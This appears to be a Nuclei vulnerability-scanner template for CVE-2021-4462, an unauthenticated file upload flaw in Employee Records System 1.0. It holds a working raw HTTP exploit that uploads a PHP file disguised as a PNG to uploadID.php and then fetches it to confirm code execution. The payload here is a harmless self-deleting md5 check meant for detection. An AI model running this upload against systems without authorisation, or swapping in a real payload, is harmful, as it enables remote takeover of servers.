CVE-2021-4462: Employee Records System 1.0 - Unauthenticated File Upload RCE

id: CVE-2021-4462

info:
  name: Employee Records System 1.0 - Unauthenticated File Upload RCE
  author: josephttd
  severity: critical
  description: |
    Employee Records System version 1.0 contains an unrestricted file upload vulnerability in uploadID.php that allows remote unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
  reference:
    - https://www.exploit-db.com/exploits/49596
    - https://www.sourcecodester.com/php/11393/employee-records-system.html
  classification:
    cvss-score: 9.8
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cwe-id: CWE-434
    epss-score: 0.12728
    epss-percentile: 0.93737
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2021,employee-records,fileupload,rce,intrusive,vkev

variables:
  string: "CVE-2021-4462"
  filename: "{{to_lower(rand_base(5))}}.php"

http:
  - raw:
      - |
        POST /dashboard/uploadID.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="employee_ID"; filename="{{filename}}"
        Content-Type: image/png

        <?php echo md5("{{string}}");unlink(__FILE__); ?>
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

      - |
        GET /uploads/employees_ids/{{upload_filename}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: upload_filename
        part: body
        internal: true
        group: 1
        regex:
          - '"upload_filename":"([^"]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "{{md5(string)}}")'
        condition: and
# digest: 4a0a0047304502201dec2684b6fe604883a0fa98e17c039532589a62a2f66706babede192528a465022100ef46641a6fa1eacc08376874175431464b87fb71fce5a95a386dd6027955391d:922c64590222798bb761d5b6d8e72950